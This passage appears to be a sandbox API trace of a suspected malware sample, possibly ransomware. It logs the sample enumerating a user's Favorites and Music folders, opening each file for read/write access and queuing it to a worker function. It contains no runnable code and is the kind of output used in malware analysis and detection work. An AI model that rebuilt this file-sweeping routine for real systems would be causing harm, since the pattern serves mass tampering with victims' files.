pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned 64 [0078.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x92c [0078.772] QueueUserWorkItem (Function=0x404e00, Context=0x92c, Flags=0x0) returned 1 [0078.772] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0078.772] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url") returned 71 [0078.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x930 [0078.776] QueueUserWorkItem (Function=0x404e00, Context=0x930, Flags=0x0) returned 1 [0078.776] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1acef810, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1acef810, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1acef810, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 1 [0078.776] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\read_me.txt") returned 68 [0078.776] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\read_me.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0078.777] GetProcessHeap () returned 0x540000 [0078.777] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0078.777] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned 41 [0078.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.777] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\.") returned 41 [0078.777] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.777] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\..") returned 42 [0078.777] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b8ac50, ftCreationTime.dwHighDateTime=0x1d4d398, ftLastAccessTime.dwLowDateTime=0x3feecf40, ftLastAccessTime.dwHighDateTime=0x1d4c5fd, ftLastWriteTime.dwLowDateTime=0x3feecf40, ftLastWriteTime.dwHighDateTime=0x1d4c5fd, nFileSizeHigh=0x0, nFileSizeLow=0x152d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2ZWb4iX.mp3", cAlternateFileName="")) returned 1 [0078.777] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2ZWb4iX.mp3") returned 51 [0078.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\2ZWb4iX.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\2zwb4ix.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x934 [0078.777] QueueUserWorkItem (Function=0x404e00, Context=0x934, Flags=0x0) returned 1 [0078.777] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cdfda50, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0xdd24340, ftLastAccessTime.dwHighDateTime=0x1d4d07d, ftLastWriteTime.dwLowDateTime=0xdd24340, ftLastWriteTime.dwHighDateTime=0x1d4d07d, nFileSizeHigh=0x0, nFileSizeLow=0x16f6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3nFpH7Mhll99RnyHwR.mp3", cAlternateFileName="3NFPH7~1.MP3")) returned 1 [0078.777] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3nFpH7Mhll99RnyHwR.mp3") returned 62 [0078.777] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\3nFpH7Mhll99RnyHwR.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\3nfph7mhll99rnyhwr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x938 [0078.778] QueueUserWorkItem (Function=0x404e00, Context=0x938, Flags=0x0) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829ab860, ftCreationTime.dwHighDateTime=0x1d4cdcb, ftLastAccessTime.dwLowDateTime=0xe6b1ccf0, ftLastAccessTime.dwHighDateTime=0x1d4d247, ftLastWriteTime.dwLowDateTime=0xe6b1ccf0, ftLastWriteTime.dwHighDateTime=0x1d4d247, nFileSizeHigh=0x0, nFileSizeLow=0x13769, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6BZ-4T9h.wav", cAlternateFileName="")) returned 1 [0078.778] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BZ-4T9h.wav") returned 52 [0078.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\6BZ-4T9h.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\6bz-4t9h.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x93c [0078.778] QueueUserWorkItem (Function=0x404e00, Context=0x93c, Flags=0x0) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcee28040, ftCreationTime.dwHighDateTime=0x1d4c989, ftLastAccessTime.dwLowDateTime=0x49bba0, ftLastAccessTime.dwHighDateTime=0x1d4cb63, ftLastWriteTime.dwLowDateTime=0x49bba0, ftLastWriteTime.dwHighDateTime=0x1d4cb63, nFileSizeHigh=0x0, nFileSizeLow=0xe434, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7FdPZytQ6wazXyGZ.m4a", cAlternateFileName="7FDPZY~1.M4A")) returned 1 [0078.778] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7FdPZytQ6wazXyGZ.m4a") returned 60 [0078.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\7FdPZytQ6wazXyGZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\7fdpzytq6wazxygz.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x940 [0078.778] QueueUserWorkItem (Function=0x404e00, Context=0x940, Flags=0x0) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d844f0, ftCreationTime.dwHighDateTime=0x1d4c86d, ftLastAccessTime.dwLowDateTime=0xb2d63750, ftLastAccessTime.dwHighDateTime=0x1d4d3bd, ftLastWriteTime.dwLowDateTime=0xb2d63750, ftLastWriteTime.dwHighDateTime=0x1d4d3bd, nFileSizeHigh=0x0, nFileSizeLow=0x9211, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="88U_zEVo4z40JnU1.mp3", cAlternateFileName="88U_ZE~1.MP3")) returned 1 [0078.778] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\88U_zEVo4z40JnU1.mp3") returned 60 [0078.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\88U_zEVo4z40JnU1.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\88u_zevo4z40jnu1.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x944 [0078.778] QueueUserWorkItem (Function=0x404e00, Context=0x944, Flags=0x0) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b315f0, ftCreationTime.dwHighDateTime=0x1d4ce2d, ftLastAccessTime.dwLowDateTime=0x8a2c18d0, ftLastAccessTime.dwHighDateTime=0x1d4c5e7, ftLastWriteTime.dwLowDateTime=0x8a2c18d0, ftLastWriteTime.dwHighDateTime=0x1d4c5e7, nFileSizeHigh=0x0, nFileSizeLow=0x14264, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="92Mj3uT.wav", cAlternateFileName="")) returned 1 [0078.778] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\92Mj3uT.wav") returned 51 [0078.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\92Mj3uT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\92mj3ut.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x948 [0078.778] QueueUserWorkItem (Function=0x404e00, Context=0x948, Flags=0x0) returned 1 [0078.778] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c1e85d0, ftCreationTime.dwHighDateTime=0x1d4c89a, ftLastAccessTime.dwLowDateTime=0xc8086120, ftLastAccessTime.dwHighDateTime=0x1d4d0d9, ftLastWriteTime.dwLowDateTime=0xc8086120, ftLastWriteTime.dwHighDateTime=0x1d4d0d9, nFileSizeHigh=0x0, nFileSizeLow=0xacab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9K9 E6WOgHUYIERB0Mc.m4a", cAlternateFileName="9K9E6W~1.M4A")) returned 1 [0078.779] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9K9 E6WOgHUYIERB0Mc.m4a") returned 63 [0078.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\9K9 E6WOgHUYIERB0Mc.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\9k9 e6woghuyierb0mc.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0078.779] QueueUserWorkItem (Function=0x404e00, Context=0x94c, Flags=0x0) returned 1 [0078.779] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81b24370, ftCreationTime.dwHighDateTime=0x1d4d058, ftLastAccessTime.dwLowDateTime=0xbcda4ae0, ftLastAccessTime.dwHighDateTime=0x1d4d4ec, ftLastWriteTime.dwLowDateTime=0xbcda4ae0, ftLastWriteTime.dwHighDateTime=0x1d4d4ec, nFileSizeHigh=0x0, nFileSizeLow=0x4f37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bE0y0dmFK0Kt.m4a", cAlternateFileName="BE0Y0D~1.M4A")) returned 1 [0078.779] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bE0y0dmFK0Kt.m4a") returned 56 [0078.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bE0y0dmFK0Kt.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\be0y0dmfk0kt.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0078.779] QueueUserWorkItem (Function=0x404e00, Context=0x950, Flags=0x0) returned 1 [0078.779] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c149c20, ftCreationTime.dwHighDateTime=0x1d4d312, ftLastAccessTime.dwLowDateTime=0xb59045f0, ftLastAccessTime.dwHighDateTime=0x1d4d307, ftLastWriteTime.dwLowDateTime=0xb59045f0, ftLastWriteTime.dwHighDateTime=0x1d4d307, nFileSizeHigh=0x0, nFileSizeLow=0x1895d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cvQQE8iAzt0iJem.wav", cAlternateFileName="CVQQE8~1.WAV")) returned 1 [0078.779] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cvQQE8iAzt0iJem.wav") returned 59 [0078.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cvQQE8iAzt0iJem.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\cvqqe8iazt0ijem.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0078.779] QueueUserWorkItem (Function=0x404e00, Context=0x954, Flags=0x0) returned 1 [0078.779] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabf5e0b0, ftCreationTime.dwHighDateTime=0x1d4d017, ftLastAccessTime.dwLowDateTime=0xcc3636e0, ftLastAccessTime.dwHighDateTime=0x1d4cbf8, ftLastWriteTime.dwLowDateTime=0xcc3636e0, ftLastWriteTime.dwHighDateTime=0x1d4cbf8, nFileSizeHigh=0x0, nFileSizeLow=0x1c57, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="czGuOspwvE1-TpGF.m4a", cAlternateFileName="CZGUOS~1.M4A")) returned 1 [0078.779] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\czGuOspwvE1-TpGF.m4a") returned 60 [0078.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\czGuOspwvE1-TpGF.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\czguospwve1-tpgf.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x958 [0078.779] QueueUserWorkItem (Function=0x404e00, Context=0x958, Flags=0x0) returned 1 [0078.779] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc270fbe0, ftCreationTime.dwHighDateTime=0x1d4c86a, ftLastAccessTime.dwLowDateTime=0xffd9f8b0, ftLastAccessTime.dwHighDateTime=0x1d4c716, ftLastWriteTime.dwLowDateTime=0xffd9f8b0, ftLastWriteTime.dwHighDateTime=0x1d4c716, nFileSizeHigh=0x0, nFileSizeLow=0x1738c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D6c42ANzJmmE.wav", cAlternateFileName="D6C42A~1.WAV")) returned 1 [0078.779] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D6c42ANzJmmE.wav") returned 56 [0078.779] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\D6c42ANzJmmE.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\d6c42anzjmme.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x95c [0078.780] QueueUserWorkItem (Function=0x404e00, Context=0x95c, Flags=0x0) returned 1 [0078.780] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3c03c30, ftCreationTime.dwHighDateTime=0x1d4d49a, ftLastAccessTime.dwLowDateTime=0x38725d40, ftLastAccessTime.dwHighDateTime=0x1d4c558, ftLastWriteTime.dwLowDateTime=0x38725d40, ftLastWriteTime.dwHighDateTime=0x1d4c558, nFileSizeHigh=0x0, nFileSizeLow=0x13d28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DA9ORw8Yl.m4a", cAlternateFileName="DA9ORW~1.M4A")) returned 1 [0078.780] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DA9ORw8Yl.m4a") returned 53 [0078.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\DA9ORw8Yl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\da9orw8yl.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x960 [0078.780] QueueUserWorkItem (Function=0x404e00, Context=0x960, Flags=0x0) returned 1 [0078.780] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.780] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned 51 [0078.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x964 [0078.780] QueueUserWorkItem (Function=0x404e00, Context=0x964, Flags=0x0) returned 1 [0078.780] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d210e20, ftCreationTime.dwHighDateTime=0x1d4d187, ftLastAccessTime.dwLowDateTime=0x47930140, ftLastAccessTime.dwHighDateTime=0x1d4c8d6, ftLastWriteTime.dwLowDateTime=0x47930140, ftLastWriteTime.dwHighDateTime=0x1d4c8d6, nFileSizeHigh=0x0, nFileSizeLow=0x3066, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EZn8hZZsFQ948LfMyr.mp3", cAlternateFileName="EZN8HZ~1.MP3")) returned 1 [0078.780] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EZn8hZZsFQ948LfMyr.mp3") returned 62 [0078.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\EZn8hZZsFQ948LfMyr.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ezn8hzzsfq948lfmyr.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x968 [0078.780] QueueUserWorkItem (Function=0x404e00, Context=0x968, Flags=0x0) returned 1 [0078.780] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5d17be0, ftCreationTime.dwHighDateTime=0x1d4caf0, ftLastAccessTime.dwLowDateTime=0x285d38c0, ftLastAccessTime.dwHighDateTime=0x1d4cbee, ftLastWriteTime.dwLowDateTime=0x285d38c0, ftLastWriteTime.dwHighDateTime=0x1d4cbee, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hw-8W_z6.mp3", cAlternateFileName="")) returned 1 [0078.780] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hw-8W_z6.mp3") returned 52 [0078.780] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hw-8W_z6.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hw-8w_z6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x96c [0078.781] QueueUserWorkItem (Function=0x404e00, Context=0x96c, Flags=0x0) returned 1 [0078.781] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9596f5a0, ftCreationTime.dwHighDateTime=0x1d4cc77, ftLastAccessTime.dwLowDateTime=0x34ae1890, ftLastAccessTime.dwHighDateTime=0x1d4d41a, ftLastWriteTime.dwLowDateTime=0x34ae1890, ftLastWriteTime.dwHighDateTime=0x1d4d41a, nFileSizeHigh=0x0, nFileSizeLow=0x2311, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hW5kLe83gS-9tea0EeUA.m4a", cAlternateFileName="HW5KLE~1.M4A")) returned 1 [0078.781] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hW5kLe83gS-9tea0EeUA.m4a") returned 64 [0078.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\hW5kLe83gS-9tea0EeUA.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hw5kle83gs-9tea0eeua.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x970 [0078.781] QueueUserWorkItem (Function=0x404e00, Context=0x970, Flags=0x0) returned 1 [0078.781] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf59c9bb0, ftCreationTime.dwHighDateTime=0x1d4c913, ftLastAccessTime.dwLowDateTime=0x87295800, ftLastAccessTime.dwHighDateTime=0x1d4d3fc, ftLastWriteTime.dwLowDateTime=0x87295800, ftLastWriteTime.dwHighDateTime=0x1d4d3fc, nFileSizeHigh=0x0, nFileSizeLow=0xa27, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="I1tmQ.m4a", cAlternateFileName="")) returned 1 [0078.781] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\I1tmQ.m4a") returned 49 [0078.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\I1tmQ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\i1tmq.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x974 